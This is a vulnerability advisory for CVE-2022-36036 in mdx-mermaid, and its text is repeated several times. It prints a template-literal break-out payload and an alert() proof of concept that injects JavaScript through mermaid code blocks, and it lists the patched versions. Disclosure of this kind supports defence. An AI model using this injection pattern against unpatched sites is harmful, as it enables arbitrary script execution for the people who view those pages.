CVE-2022-36036

mdx-mermaid provides plug and play access to Mermaid in MDX. There is a potential for an arbitrary javascript injection in versions less than 1.3.0 and 2.0.0-rc1. Modify any mermaid code blocks with arbitrary code and it will execute when the component is loaded by MDXjs. This vulnerability was patched in version(s) 1.3.0 and 2.0.0-rc2. There are currently no known workarounds.

mdx-mermaid provides plug and play access to Mermaid in MDX. There is a potential for an arbitrary javascript injection in versions less than 1.3.0 and 2.0.0-rc1. Modify any mermaid code blocks with arbitrary code and it will execute when the component is loaded by MDXjs. This vulnerability was patched in version(s) 1.3.0 and 2.0.0-rc2. There are currently no known workarounds.

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

mdx-mermaid provides plug and play access to Mermaid in MDX. There is a potential for an arbitrary javascript injection in versions less than 1.3.0 and 2.0.0-rc1. Modify any mermaid code blocks with arbitrary code and it will execute when the component is loaded by MDXjs. This vulnerability was patched in version(s) 1.3.0 and 2.0.0-rc2. There are currently no known workarounds.

mdx-mermaid provides plug and play access to Mermaid in MDX. There is a potential for an arbitrary javascript injection in versions less than 1.3.0 and 2.0.0-rc1. Modify any mermaid code blocks with arbitrary code and it will execute when the component is loaded by MDXjs. This vulnerability was patched in version(s) 1.3.0 and 2.0.0-rc2. There are currently no known workarounds.

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known